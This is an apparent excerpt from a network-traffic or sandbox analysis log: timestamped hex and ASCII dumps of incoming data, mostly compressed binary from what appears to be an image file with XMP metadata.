2022-07-20 07:08:25 UTC	5557	IN	Data Raw: 70 2e 64 69 64 3a 65 36 36 32 61 63 61 63 2d 39 63 30 35 2d 38 37 34 35 2d 62 39 37 61 2d 31 32 34 35 36 66 34 35 37 63 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 36 36 62 38 64 34 32 2d 37 34 37 62 2d 34 32 65 33 2d 61 64 37 63 2d 38 66 30 37 33 38 64 37 33 34 63 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 36 38 63 35 35 32 35 2d 33 31 39 61 2d 34 37 36 35 2d 61 65 36 32 2d 31 39 66 36 64 35 64 38 31 37 65 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 36 39 32 31 63 37 65 2d 63 39 32 62 2d 34 63 34 32 2d 62 62 32 31 2d 66 35 62 61 34 33 31 61 65 65 65 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 Data Ascii: p.did:e662acac-9c05-8745-b97a-12456f457c49</rdf:li> <rdf:li>xmp.did:e66b8d42-747b-42e3-ad7c-8f0738d734c5</rdf:li> <rdf:li>xmp.did:e68c5525-319a-4765-ae62-19f6d5d817ea</rdf:li> <rdf:li>xmp.did:e6921c7e-c92b-4c42-bb21-f5ba431aeee7</rdf:li> <rdf:li>xmp.did:e
2022-07-20 07:08:25 UTC	5573	IN	Data Raw: 6c e7 11 70 67 2d 58 00 f2 8a 98 cf 74 b2 23 4b 9c 62 1a 9b 5e 24 0f 5d ad d4 b0 11 33 5f 55 2c d0 66 cc 02 14 9c b1 0c cf 9b d4 73 8b d7 10 bd 71 ee 18 ec 7d 5b a2 0c c7 2d 61 ea e5 3a b8 c8 d1 fa 4f 91 db 8a f4 79 69 f6 81 2f 01 f5 6d d1 72 38 26 06 8b 85 cc 60 4f 36 c6 9a 29 26 98 13 42 e2 0e c3 52 a3 a2 17 8b 1c c7 a6 33 ce 32 cd 81 77 b7 c7 8b 2f 5d 9d 88 2e 98 d7 75 22 21 cd 1d 36 d9 5d 4e f3 7f cd 85 65 46 87 1e 8f 6b e1 e8 ce 73 7b 9a 9e 06 34 95 35 e6 e9 7c ee 5a bd 5d b7 4e 60 f2 2f 07 fa b4 23 7e 9f e0 f4 09 ae 79 ce a9 f6 3f 0f d2 06 f8 6b ba fd 1f 2e fa 1f 18 5e 9e 9a fa 89 b0 87 aa 8e 8f 62 f2 71 be f3 f9 f3 9e 96 da 4e 3a f0 8f 65 e9 27 a2 28 4f db 4d 9f 26 f8 ce 8e 5a be d4 6f 23 ac 51 b7 e1 ed 37 bf 2a 49 80 3a 27 19 1c b2 cd 0b b5 6e 3a Data Ascii: lpg-Xt#Kb^$]3_U,fsq}[-a:Oyi/mr8&`O6)&BR32w/].u"!6]NeFks{45\|Z]N`/#~y?k.^bqN:e'(OM&Zo#Q7*I:'n:
2022-07-20 07:08:25 UTC	5589	IN	Data Raw: d8 ce 10 72 a9 46 5a d1 15 1d 3a d9 67 b4 d1 ac 0d 03 50 05 41 45 16 57 26 1c 53 55 39 54 c1 23 4c 13 80 d4 13 34 34 8e 14 ad 25 43 89 99 39 4a 54 e4 4c a4 ca 1c 83 9e 6a a1 5d 76 93 4f 85 dd ef 98 fb e7 6d 4a b7 93 7b e9 b6 56 2d 95 1e 56 ec ea 67 32 35 c2 50 70 dc 9c ad 40 e1 58 d1 c8 9a cd 24 b6 b4 ca 98 50 e9 d0 88 b5 a9 85 36 8e 74 e4 4e 7b 48 2e 68 71 44 d3 ee 5a 08 c5 a9 0d a9 e9 f4 d2 65 a6 5c e6 7d e7 3e bb cf 41 22 a1 41 da 49 4e 7a 93 10 26 b1 24 55 75 02 25 25 2c f4 46 75 51 35 62 67 63 e9 21 e3 a0 ee 69 33 bb 6e a8 da 77 63 3e 41 6c b9 d2 6f b4 93 87 1a 60 50 38 85 a9 a4 18 4d 3a e2 1a 9c d6 37 e7 3c 3d 1a 5e ce 66 6b 1e a1 6b c2 fc de cc c7 36 95 a4 4d 64 a2 bc d9 74 97 1d 39 57 70 f4 67 33 ab 1c ec 2c 34 6b 2f f0 34 5e 3e 75 42 8f 49 a9 dd Data Ascii: rFZ:gPAEW&SU9T#L44%C9JTLj]vOmJ{V-Vg25Pp@X$P6tN{H.hqDZe\}>A"AINz&$Uu%%,FuQ5bgc!i3nwc>Alo`P8M:7<=^fkk6Mdt9Wpg3,4k/4^>uBI
2022-07-20 07:08:25 UTC	5597	IN	Data Raw: 55 46 27 21 a0 22 96 22 64 c8 1a 00 f0 42 9b 9a 60 46 90 8d c4 00 a9 05 40 e9 87 59 38 87 8b 81 a0 89 35 9d 33 39 46 2b b2 9b 99 b2 8a 91 52 83 82 65 73 4d a8 d4 52 30 0b 54 51 a5 46 75 91 de 6b b6 ce c3 7c c9 73 47 1b 59 f4 e2 f6 67 f0 d7 47 d1 85 62 bf 55 e9 c6 28 bf 25 c2 98 c2 e6 b6 1a e7 a0 92 d6 2f 50 2d 7c 2e 72 2e b1 12 4f 12 83 a5 c6 86 b4 a3 01 19 d8 9a 8c e0 4c 2d 12 52 4c 28 89 a9 24 7c 51 13 a3 d5 48 9a 89 c3 72 24 2a 55 52 0e 54 e5 55 2a a7 aa 7a 72 a6 aa d5 0e 1b 53 73 11 08 9a 02 07 31 cd 40 e4 0a 90 6f 11 eb 26 32 1a 96 09 81 d2 d8 11 a1 a2 8a 5c 32 da ad e9 b8 18 03 0a 30 89 aa 51 0e 38 d0 c0 12 35 37 3d 6c f1 dc fc f5 89 ba fa 81 6e 15 36 b4 23 55 ba 67 0d 22 22 de 17 99 d1 91 66 01 61 5f a6 62 5c 0d 6a 0b 86 22 79 6c a4 d6 a4 63 41 c8 Data Ascii: UF'!""dB`F@Y8539F+ResMR0TQFuk\|sGYgGbU(%/P-\|.r.OL-RL($\|QHr$URTUzrSs1@o&2\20Q857=ln6#Ug""fa_b\j"ylcA
2022-07-20 07:08:25 UTC	5613	IN	Data Raw: 09 34 f9 29 e2 ac f5 c8 69 b2 44 36 76 e6 68 75 e7 cd 67 be 8b 7c 87 8a a2 cb 48 64 b3 d7 23 02 a6 74 31 cc e4 81 15 2b 57 7a e5 20 59 de 52 32 6a 8b 0b 93 f4 8a c9 41 4a 0a 5b 1c ea 7a 62 fe 95 8b 0a 69 51 9e ce 32 39 32 6e 2f ee ac 2a 05 1d 0e 4b 3f 85 0e 31 a6 61 92 50 e4 b9 53 c9 70 39 35 27 8a 72 39 c2 83 c3 95 70 d1 24 54 e4 d1 b6 8f 86 e1 20 da 34 4d 85 20 72 15 53 c6 e4 2a 4f 07 8d e9 aa a5 06 87 09 a5 30 a8 c6 a1 30 15 28 99 39 d2 26 d6 dc 84 1b 4a 80 44 21 4b 80 a5 24 81 90 87 aa 89 50 6c d1 f0 fb 8e d2 1d 39 ec b9 7c fc 1f 57 68 fa ed 7b 86 f5 3a e3 6d 0a 83 5c 68 b7 ca 0d 27 5d c5 a4 85 ea 26 4e 6a a6 d5 b9 be 5b 3e 6d 26 f3 7f 61 ed be a6 40 78 de 26 89 42 31 a2 1c c5 44 53 4f a9 8a e6 87 6c fa e1 89 36 55 6c e9 3e 3a be 02 da d2 68 89 06 8e Data Ascii: 4)iD6vhug\|Hd#t1+Wz YR2jAJ[zbiQ292n/K?1aPSp95'r9p$T 4M rSO00(9&JD!K$Pl9\|Wh{:m\h']&Nj[>m&a@x&B1DSOl6Ul>:h
2022-07-20 07:08:25 UTC	5629	IN	Data Raw: d2 5c d6 8e 2e 39 45 ca c1 24 33 89 2d 1c 4f c0 f7 b8 f0 89 4f c8 b1 90 9c 10 dc 46 f0 5d 2c 64 96 34 81 f6 4e 70 01 ae ca 6b 89 46 46 82 e9 1a d4 72 57 1c 18 d9 cd 44 d0 49 6f 31 2b 42 2e ca 12 10 b9 39 c8 3b 29 ad 0a 50 1a 58 ef 52 12 16 7d 91 92 c9 03 94 c7 d0 8c 3c 18 cc 81 8d e0 2c 83 c9 ea b8 21 b1 fd b3 e0 78 28 29 3d 87 47 e8 b1 c1 b1 b3 88 09 e0 b5 33 d8 25 39 c1 a9 de c5 72 e9 d6 3d 46 fc a0 32 83 30 47 d0 7e c5 14 19 86 e3 d3 16 30 8b c2 0f 09 ae 5c 96 0b 4e 73 e4 15 f7 59 c2 2b 1e be cb fc b8 65 35 b8 f1 84 02 76 54 3c 81 01 30 7a ca 2e c2 6c a0 9e 45 06 65 01 8f a8 23 e0 22 89 41 30 61 15 cf 09 cf c9 f9 13 de 42 6a 77 a4 08 20 85 cb 8a 73 f2 82 01 06 e1 12 8f a5 1c 78 2e 66 53 9a 42 2c 53 43 c8 54 04 49 68 9c 3c 3a 17 d4 8c 66 df f4 52 5a 06 Data Ascii: \.9E$3-OOF],d4NpkFFrWDIo1+B.9;)PXR}<,!x()=G3%9r=F20G~0\NsY+e5vT<0z.lEe#"A0aBjw sx.fSB,SCTIh<:fRZ
2022-07-20 07:08:25 UTC	5637	IN	Data Raw: 9b f7 70 f4 d0 30 53 3e e1 d8 5c f2 ad 9e 2c 86 4e 6d c1 09 be 81 0e 24 37 d9 24 26 34 a7 a1 e9 49 21 01 b3 35 18 c8 40 61 67 91 70 21 12 8d c6 05 1c a2 40 e1 91 1b 7f aa 19 68 07 2b 38 58 ca c6 16 11 0b 8a 6a f9 0f 82 17 0c 2c 85 9f 63 fb 2c 94 ef 68 a2 dc a2 30 80 c0 25 34 7a 00 35 17 07 20 46 0f a4 70 16 3d fd d6 53 fd 10 89 c9 2d 09 a7 08 4b 97 39 9c 93 98 b3 85 c5 61 14 e7 7b 69 28 44 50 6a 08 04 e4 1b 94 4a c2 ce 10 72 05 48 8f b5 09 f6 46 09 44 61 04 7c 39 04 c1 85 94 11 f0 47 b6 7d 9c 88 4d 38 f0 e4 46 51 f4 5a 8a 61 c2 7f bf a4 f9 1e 08 47 c9 44 20 88 ca 31 fa 8c e5 ae 38 40 e4 04 3c 3c e0 54 8b 13 27 2f 78 63 b9 23 e8 81 82 f3 e9 a7 3e 09 59 40 02 87 a4 4a ce 11 39 f1 29 38 87 2e 6b 1b 84 e5 8f 0d 45 ab ec 81 09 cd 05 61 04 08 cf 20 11 97 09 cf Data Ascii: p0S>\,Nm$7$&4I!5@agp!@h+8Xj,c,h0%4z5 Fp=S-K9a{i(DPjJrHFDa\|9G}M8FQZaGD 18@<<T'/xc#>Y@J9)8.kEa
2022-07-20 07:08:25 UTC	5653	IN	Data Raw: 19 5c 70 9c 3d 11 85 1a 77 dd 87 fa bc e1 34 a7 0c 97 0c 2c fa 1e 91 44 a8 e4 f0 0a 25 3b da 01 61 61 71 5c 57 05 c1 70 41 b8 fa 32 b1 95 80 51 8c 14 19 85 2b 03 0f 9c fd 1f e4 85 85 84 42 c2 72 f4 80 58 f1 95 94 02 1e 72 b2 81 43 c6 11 09 a1 0c 2f ba fb 22 89 4e 70 09 be d4 79 4c 00 a2 9a 32 99 1f bf f8 a2 dc a2 df 40 e5 3d a9 a7 05 ed c8 88 90 73 9f 24 2e 3e 70 b1 f5 63 c6 56 7c 64 2e 41 72 0b 92 e4 b3 fc 98 58 58 58 58 58 58 f1 8f a3 0b 0b 0b 0b 1e 31 e3 0b 0b 0b 0b 0b 0b 0b 0b 0b 1e 70 b0 b0 b1 f4 63 e9 c2 c7 d3 85 85 85 85 8f 07 c9 f1 85 8f 38 58 58 44 79 c7 f1 e1 61 7d 90 79 4d b0 f0 a3 b4 0a 0b 90 5c c2 6b c2 c2 c7 d3 8f 18 f0 16 3c 65 63 2b 88 2b 88 58 43 c1 2b 2b 3e 0a 3e d0 f4 9c c0 48 f4 9c dc a6 8c 22 54 99 28 05 85 8c ae 08 37 08 15 c9 17 2e Data Ascii: \p=w4,D%;aaq\WpA2Q+BrXrC/"NpyL2@=s$.>pcV\|d.ArXXXXXX1pc8XXDya}yM\k<ec++XC++>>H"T(7.
2022-07-20 07:08:25 UTC	5669	IN	Data Raw: c8 44 a0 ec af 90 81 f7 47 c6 11 09 80 22 ec 9c a2 8f b4 02 0b 9f 14 7d a1 94 ff 00 41 a9 ad 41 b8 2d 19 40 20 51 4e 18 45 65 65 03 94 10 fb 04 42 01 1f 68 a9 4f 12 42 81 83 07 09 bc 49 2f c2 77 b4 1d 85 f2 1c 73 24 17 72 0e 93 00 1c 20 32 a3 8c 39 a6 2e 0e 2f 4d 62 31 8c b0 02 a4 84 10 41 08 a1 29 c6 0a 93 fb 20 72 b2 b3 e0 94 7c e5 04 e2 9a 70 80 52 35 35 b9 51 46 31 2b b2 58 fc 1f f9 0f b1 fb 23 f7 c7 b2 7f b3 9f 95 24 65 a5 ad 4f 5c 48 30 cf c4 13 91 3f a7 63 28 0c a7 1c a2 3d bf ec cf f9 39 c1 4c ef ec e7 82 b3 92 1a a4 76 51 fe c0 04 46 13 02 01 3c 1c b8 02 19 83 1f 1c ac 21 fd 53 03 72 e1 1b 51 95 a5 72 c9 25 30 78 62 ff 00 23 18 2d 40 f0 25 d9 4d 94 b5 a5 dc 9c 8e 09 ca 6f dc b3 09 ad 2f 2e 09 ed c0 3e d6 70 8f dc 90 43 7d 2c a9 08 68 6f d9 8c 45 Data Ascii: DG"}AA-@ QNEeeBhOBI/ws$r 29./Mb1A) r\|pR55QF1+X#$eO\H0?c(=9LvQF<!SrQr%0xb#-@%Mo/.>pC},hoE
2022-07-20 07:08:25 UTC	5677	IN	Data Raw: 7b 4f 0e 2b 19 42 10 9b 18 4f 80 b0 2e 58 4e 39 45 d8 45 e1 11 e4 a0 50 77 b8 66 24 ce d2 c0 67 c2 73 83 91 70 45 eb 01 71 0b 08 04 7d ae 2b 18 43 df 81 e5 ce c2 25 7f 92 b0 9f e9 0f 48 78 c6 54 9f 68 47 b3 f7 27 02 22 82 91 c3 11 fa 07 da 25 17 e4 45 f7 f2 0e 56 16 31 e0 79 2b ec b9 78 28 f8 24 84 11 3e 00 44 2c 78 21 00 b0 b0 80 5f 65 ed 01 84 51 29 df 49 71 41 b9 2f 38 21 cb ee 82 78 f0 e5 83 8f 97 92 6f b5 85 8f 18 20 b4 7a 19 40 a0 02 c2 c6 50 18 44 65 16 e3 c6 16 50 fa 0f a4 07 9c f8 c7 d1 94 3c bd b9 4d 05 61 61 48 c0 4b 1f c4 3b fb 78 20 82 0e 57 2c 2c a0 e0 b2 31 c9 02 b9 ae 65 72 59 41 63 c6 16 50 c9 f1 94 4a 05 10 b0 b0 80 41 06 26 b3 0b 0b 0b 01 00 0a 01 a1 3b da ca 63 d0 6e 4b 70 d5 c9 02 be 45 f3 61 39 fc 80 88 92 20 6a 75 66 94 f6 96 a2 56 Data Ascii: {O+BO.XN9EEPwf$gspEq}+C%HxThG'"%EV1y+x($>D,x!_eQ)IqA/8!xo z@PDeP<MaaHK;x W,,1erYAcPJA&;cnKpEa9 jufV
2022-07-20 07:08:25 UTC	5693	IN	Data Raw: 5c f2 8b b2 81 f0 4a ca c7 d3 8f a3 0b 1f 41 f2 51 6a 2d c7 91 e0 f8 2b 1e 70 b0 88 f0 07 9c 2e 28 05 85 85 8f 18 f3 84 42 c7 8c 2e 2b 1f 46 3e ac 79 cf 82 16 32 84 65 38 61 33 ec e7 61 07 64 94 46 0e 7c 02 b1 ed df 62 39 28 fd 21 f4 3d b9 11 9f 7f 50 3f 40 f0 4a 09 c8 9f 07 e8 3f 60 9c 32 1b ed ad fb 78 72 6f 92 87 80 7d af f3 95 94 16 70 8c 8b 39 59 29 e7 3e 07 b5 84 5a b0 b2 83 93 9c b9 2f bf 82 3c 14 57 df c0 3f 41 c8 59 43 f9 87 d6 10 f2 0a 07 f9 87 d1 9f 23 c6 50 40 a2 82 e1 94 61 6a 74 25 a8 12 9d 94 c1 c8 fe 39 09 c7 03 98 45 e1 17 2e 48 a6 bb 07 98 28 10 e0 72 d0 e7 61 7a 5c 80 47 ce 3e 9c 21 e9 14 7e 9c fd 38 2b 89 44 79 21 11 e0 78 3e 4f 91 ed 06 2f 8f 2b 82 e0 be 35 c4 a0 c2 57 04 06 16 16 3c e7 c6 7c e1 0f e2 ca ca 3e 31 e5 ad 44 2c 2f b2 27 Data Ascii: \JAQj-+p.(B.+F>y2e8a3adF\|b9(!=P?@J?`2xro}p9Y)>Z/<W?AYC#P@ajt%9E.H(raz\G>!~8+Dy!x>O/+5W<\|>1D,/'
2022-07-20 07:08:25 UTC	5709	IN	Data Raw: 36 56 d8 6d 9d 6c bb ab 57 b5 75 f5 76 2c 35 c2 3a 8e 92 33 62 30 f7 c8 5d 13 60 89 d1 93 09 2e b0 c3 c9 95 e6 6b ed 5b 6d e8 64 91 d2 b3 5f 01 12 5c d7 36 b3 a7 85 8e 75 0e e7 1e ab af fe bd a9 0e 87 ad fe d3 1f 1d 1d 36 f9 da 9d 46 fb 74 db d6 bf 5a d7 b9 47 4b fb 1f 63 53 6d 57 f5 9e d2 39 f6 5d ff 00 75 ad a7 2c 3f ae 5d b2 6e 9a 5a f0 3a cc 93 4a 6b 45 5d ca 4b 15 29 c7 75 cd 96 0e dd 61 b2 b2 b4 8e ae b5 db a7 db d5 69 e3 87 53 5a 97 7f da 57 9c d5 8d b1 32 20 e9 76 b7 25 96 5e b8 da fb bd 0f 58 d8 bf ac b6 df 62 74 d6 7a b4 36 f7 43 ab 6a a9 6c b6 9b 5e ab 52 c4 7a dd b8 d5 6c 37 7a ab 74 66 bf 42 3e bb 4b 4d df a5 eb 83 f5 9c 13 3a 3d 50 96 2d 96 d6 a6 ca fe c0 ba 6d fc 55 28 6e 75 fd 83 bd 5b 6c b7 ec cf 34 87 4f d9 aa 6f df a0 ea 17 ad 6c 3f f4 Data Ascii: 6VmlWuv,5:3b0]`.k[md_\6u6FtZGKcSmW9]u,?]nZ:JkE]K)uaiSZW2 v%^Xbtz6Cjl^Rzl7ztfB>KM:=P-mU(nu[l4Ool?
2022-07-20 07:08:25 UTC	5716	IN	Data Raw: ff 00 cc 6a 2b 49 7a 97 41 db ba d6 93 a2 6c 5b fe cb a5 75 68 ea 43 b1 af 25 2d dd 7d 9e d2 a4 d6 f7 d3 4b 6b b8 75 8e 74 b4 d7 5d bd d1 bb 62 2d c9 d3 e6 77 cd d9 28 ba eb e9 58 ab 47 6b a9 81 b0 6c b7 2f 61 9f b3 1f f6 1a 2a db 29 2b cc eb 32 6f ba f3 bf a3 e5 69 f8 a6 78 7b a3 38 0c 85 ae a6 f7 17 18 4e 09 38 66 3d 39 dc 53 d8 e9 0e c9 8e ac a4 25 cd 91 81 b2 49 e8 42 e1 18 fd 39 41 ba aa dd 6e 2a d5 61 fd d9 d9 f6 dd 6b 7b 4f 62 3f 62 d6 d7 d7 74 36 35 bb 9a d3 58 fd 95 b3 de 5d ab 63 b3 40 ea 8c dc 45 7b 55 d8 7a e4 9d 7e 5a f6 04 4e e9 94 5c d7 58 78 9e e7 75 b6 cd 8a db 4d b1 a9 4a 79 8f 5a d4 7e bd fd 95 ad 8b 59 a5 b1 3b ee 7e de d6 d2 b7 46 86 c5 f2 57 d9 c3 03 65 8a 56 ff 00 aa 96 bf e7 91 1b 98 bf 32 76 57 a7 63 6f 70 6c 34 96 9f 77 5d 64 6a Data Ascii: j+IzAl[uhC%-}Kkut]b-w(XGkl/a)+2oix{8N8f=9S%IB9Anak{Ob?bt65X]c@E{Uz~ZN\XxuMJyZ~Y;~FWeV2vWcopl4w]dj
2022-07-20 07:08:25 UTC	5732	IN	Data Raw: 17 7d c7 d8 90 49 e8 92 b6 96 df 7b ac b3 a8 db f7 53 5e 7e b3 0b 7d cc de 10 d3 c7 e2 f5 cd 63 2b 6d 59 b2 13 6c 37 ba 43 42 d6 d2 b7 c3 1c 2e 96 a8 8e dc f7 60 6f 0b 74 df 4e b4 42 ad 52 e6 ca e7 90 2a ba 78 e5 61 22 37 91 1f cc 18 62 93 26 e0 f5 44 61 f4 df ff 00 74 d4 48 96 d4 92 52 17 76 12 dd 7b 4e 53 c6 06 a9 a5 ce 8d 82 39 61 9c 11 20 1c 24 a2 f7 3b 55 6c 56 7d 4e bb 17 68 8f aa be 5d 55 de df db 6d da da 77 5e af 16 cc 4b 55 f5 27 a2 24 94 ea fa f7 c9 27 5b e8 b4 5f 1e cf a6 5b d7 3f 57 d7 fe 66 ed 3b 05 6a 0d a1 bf 9e 65 b6 dd d1 9e ce a2 d5 29 63 96 ad 7b 0e 8f 50 23 74 fa 39 e6 75 ae b1 b0 94 6a ba 55 da 0b 45 fa ff 00 b2 57 1b 8f d6 9d 9a dd 2d a7 ea 7e de e9 1d d5 6e 75 cd 5f 4a eb 52 6a 6a df b3 25 cb 5d 17 49 1e be be cf ae eb 68 1d 14 53 Data Ascii: }I{S^~}c+mYl7CB.`otNBR*xa"7b&DatHRv{NS9a $;UlV}Nh]Umw^KU'$'[_[?Wf;je)c{P#t9ujUEW-~nu_JRjj%]IhS
2022-07-20 07:08:25 UTC	5748	IN	Data Raw: 91 5d b8 6d 6c 97 57 73 53 a0 c9 35 9e 48 a7 30 4c 6b 8a f8 72 5b 57 27 e0 6b 43 19 1e 23 11 85 0b 59 86 ca 09 13 af 91 c9 ad 71 45 e1 a9 97 1e d3 29 32 0f 8f 82 65 13 39 14 a7 2e b1 b1 75 44 7b 5c 28 fe d9 fc 3b fb af dd 5b 0e 3b 3f d8 57 76 33 6b a5 96 69 3a ee f6 4d 46 ff 00 73 ad bb 8d 6d 99 9f 66 fc 86 4d 83 ae 87 cd db ac ba c5 ad 6e d3 f0 c5 8e c0 dd a6 f2 de c2 79 97 60 b4 64 96 89 88 9b 17 59 0a b9 70 49 2b 6c ba 47 6a 04 52 0d 9b 5d 1d cb 7f d6 7b b3 99 94 6d cb a4 60 7c d1 b8 32 6b ee f8 a5 a9 73 e4 9b 72 0d 58 04 02 3d 3d fd fc 6c b7 da fb 4b a4 a5 b0 9e 78 61 d2 88 ac d3 87 6a 6a 5d d1 5e 6d 3b 7d 60 d4 6d 4a ba d8 35 73 77 87 37 73 5b 7d af dc ea 25 eb ba 96 cf 3d 4b 17 b4 30 ed 77 32 da 97 a4 b4 4f 14 f6 cf fb 69 34 61 e8 e8 cb 94 fa 37 bd Data Ascii: ]mlWsS5H0Lkr[W'kC#YqE)2e9.uD{\(;[;?Wv3ki:MFsmfMny`dYpI+lGjR]{m`\|2ksrX==lKxajj]^m;}`mJ5sw7s[}%=K0w2Oi4a7
2022-07-20 07:08:25 UTC	5756	IN	Data Raw: 28 1a e9 da 1f 98 d3 6c 39 aa ef 63 bf 59 b0 f7 49 65 4f ee 56 c4 6c fd 9d 56 57 53 ee 3a 9b 2a be e3 5d 29 76 e3 55 9b 3b 0a 2f 0d a7 4a 76 be 9b 62 31 6a e6 95 c7 4f 69 8b 85 ba ce 8e 69 9e c7 b3 e4 73 db 66 05 6a 2b 84 cd aa b8 f6 55 d5 47 71 9f e9 1f 98 fa f3 ca 67 ea d9 af 0b 1d 1e 5a 8f bd a8 65 67 36 bd 58 1b 16 ae 3b 4f ec 7a 41 4e 29 6f 32 ab ec ba 81 63 34 56 22 ad 63 a9 5d 85 1a 13 bd 86 09 5a c9 35 8f 95 59 6f fd 30 34 92 6b 39 7c 4f 6a 8d 85 c7 e4 2c 51 3c 38 bf da fc 29 c9 6f a5 52 c4 7b 18 ad ea ed 52 99 ba 7b 2d 0e ad 52 a9 93 63 24 ab 99 02 47 21 ec 96 b8 29 a5 8d e7 4d 6a a3 c4 fa 59 a2 96 2a d5 62 56 36 71 32 27 97 39 ba d7 0a b2 6d e8 b6 bb e1 77 11 4e d7 12 fa ef c4 9a f2 e4 ea 3f 19 6d 48 c9 7e b8 38 d2 a8 c6 c9 1c 59 1f 85 59 a2 28 Data Ascii: (l9cYIeOVlVWS:])vU;/Jvb1jOiisfj+UGqgZeg6X;OzAN)o2c4V"c]Z5Yo04k9\|Oj,Q<8)oR{R{-Rc$G!)MjYbV6q2'9mwN?mH~8YY(
2022-07-20 07:08:25 UTC	5772	IN	Data Raw: 48 fd af c3 5d 5b be 68 b5 fd af 5f 71 d5 b6 35 66 7d 68 f5 31 4d 6b 67 69 c1 f6 24 63 a2 a5 f2 2f c5 85 8d 71 0d 51 d9 7b 45 4d 9c d0 9a fb ef 94 c4 d8 9c 2e 57 70 4c 92 76 a1 66 42 a3 96 c1 1f 94 f0 bf 34 05 57 6c f6 18 37 d3 c6 a9 f6 06 3c c5 b4 7b 55 2d b3 65 41 8d 26 ac a0 81 82 a5 00 a9 be d6 2b 99 85 ad 2c ae 0f d1 46 0b f4 d4 58 b6 fb 4a 7a b5 2e fd d7 10 dd 3a 06 d6 ec 39 47 7d f1 01 d8 d9 61 d1 5b 85 3a c3 64 4c f8 c0 70 63 93 a3 69 06 31 9f c5 2e 2d a6 42 6d 32 9b 5c b5 36 00 53 60 01 18 40 0e 8b 09 ec c0 2c 39 c1 6a 25 c9 ce 25 39 e7 0f 71 29 d9 41 c5 12 51 c8 4e 2e 58 38 1c 82 12 e4 39 e0 a2 30 78 a7 90 00 76 11 71 2b 0b ee 8f a3 fe 7e c2 3f b8 76 17 f4 24 06 92 30 9a df 40 2f 59 3c 56 32 b9 35 a9 d2 02 7e e8 7b 11 b4 95 8c 06 34 03 e8 a2 de Data Ascii: H][h_q5f}h1Mkgi$c/qQ{EM.WpLvfB4Wl7<{U-eA&+,FXJz.:9G}a[:dLpci1.-Bm2\6S`@,9j%%9q)AQN.X890xvq+~?v$0@/Y<V25~{4
2022-07-20 07:08:25 UTC	5788	IN	Data Raw: fa cb f0 9f d9 34 94 b5 10 6d 7b f6 c3 b3 18 a3 a5 a6 3a 1e cd 5b b0 ea 74 92 cf d7 36 95 ba ad 01 29 77 c6 d6 cf 96 f3 b0 53 ff 00 21 ea 06 96 b5 f0 35 ce 96 1c 99 22 95 ef 95 c5 82 5e 52 2a 0e 9b 0c 97 21 d2 18 db 35 e6 d9 63 03 2b 3c d7 85 ec 7c 58 6b ed 86 3a 2d bd 72 63 b5 1b 91 7b 18 e8 36 ce 95 16 cd 20 76 b9 ee 36 6a ca d0 cd 44 61 47 59 91 8f 88 34 07 f1 56 24 e2 bb 1d 0b 53 4d 76 37 d7 93 ad 6c 74 71 b6 c6 f6 09 a5 b3 b3 34 5e 7b 0c 12 4b 7e ae be e3 e3 a5 52 8c 2f b1 af 6a d6 ec df 64 3d 90 bc 96 4b 19 65 43 01 9a 67 c4 c7 d8 6c 8d b7 3c 31 4d b6 2c 89 57 95 b2 9b 1b 27 56 51 ef 40 66 ca 79 24 87 6d fe c4 45 5b 56 01 bf ab 13 bf 55 66 2e d7 d7 b6 2f 2f ab 5e 59 69 9d ed 76 e2 78 b9 54 bc de 4c 81 a5 b2 ec 5c 05 5d 7b 71 0d 90 e3 25 59 27 96 36 Data Ascii: 4m{:[t6)wS!5"^R*!5c+<\|Xk:-rc{6 v6jDaGY4V$SMv7ltq4^{K~R/jd=KeCgl<1M,W'VQ@fy$mE[VUf.//^YivxTL\]{q%Y'6
2022-07-20 07:08:25 UTC	5796	IN	Data Raw: da cf 4c 8e 67 d8 eb bf 04 15 f4 22 31 0e b7 d3 35 4c 62 35 1a d4 fd 63 a4 31 69 78 3a 1d 70 69 7d 6e 21 94 5c e5 fe 99 ef 35 fa e4 6d 51 6b 78 81 5b 8a 74 49 f1 27 42 53 a2 28 b7 8a 74 c1 a8 db 28 d8 7b 96 49 4e 99 a1 1b 04 a2 1e e4 e8 a4 28 d7 79 5f 86 4a fc 40 d5 21 64 69 d7 c0 12 5f 25 3e e6 53 ed 7a b5 60 a9 ac 4a 04 ae 99 ea 7a 92 c8 bf d6 14 ea 38 11 eb 65 71 8f 48 73 36 b5 ac 36 22 fe cf aa ec 3e b0 0a 52 1a a4 98 85 24 c7 25 d8 04 f2 25 11 85 e8 20 dc a3 1a e3 e1 b9 0b 08 bc e3 ec 80 43 01 61 a8 e0 ae 00 a2 c4 1b 85 82 49 39 59 04 72 c2 3e c9 f6 50 09 c1 63 28 fa f0 51 39 44 7b f6 9d 84 4e 01 09 a3 2b 1e b8 e3 c1 40 a0 10 f1 eb 18 44 12 81 0b 38 f0 17 14 d0 83 32 9c dc 20 d2 50 f4 8b 4a 1e 03 51 69 6a 00 38 10 5a b9 14 46 56 11 58 f1 f6 59 28 fb Data Ascii: Lg"15Lb5c1ix:pi}n!\5mQkx[tI'BS(t({IN(y_J@!di_%>Sz`Jz8eqHs66">R$%% CaI9Yr>Pc(Q9D{N+@D82 PJQij8ZFVXY(
2022-07-20 07:08:25 UTC	5812	IN	Data Raw: 2d 21 ee 6f 51 b6 8b dd f0 99 53 3f 5e f9 ff 00 ea 72 a9 b4 b9 84 b9 f7 4d 9d 42 f3 0b fd c4 20 71 c8 19 49 48 b7 55 19 30 e6 e4 1e b2 8a e3 d2 26 b1 58 a3 ac 52 2a d8 5c 7a c5 19 6b 23 e8 11 51 28 c3 a2 0d a5 d7 47 25 b2 90 6a b8 d4 a6 a5 c0 da 06 18 5a 39 04 10 45 1a 91 4d 5a 66 4f 6b 15 dc df 98 74 d6 fd 6e 16 db 78 55 6d cd c5 fd 46 67 bb ff 00 c8 fd 3b 76 bf b7 fa 9b f6 75 ee 99 6c 7d 8d eb 2f df b3 37 d1 cb 70 c2 fa c6 1c 64 4d 7b d7 60 54 23 84 7b 35 89 7a 5d 6d d9 b8 72 f5 da 23 7a ed eb 7e d2 76 32 f5 dd 19 56 ee e8 ef ec e5 ca 32 f5 ee 8c b4 65 33 71 6e 91 57 6f ed f8 78 85 47 de 54 ba df e6 47 66 f5 bc 56 99 54 64 aa b2 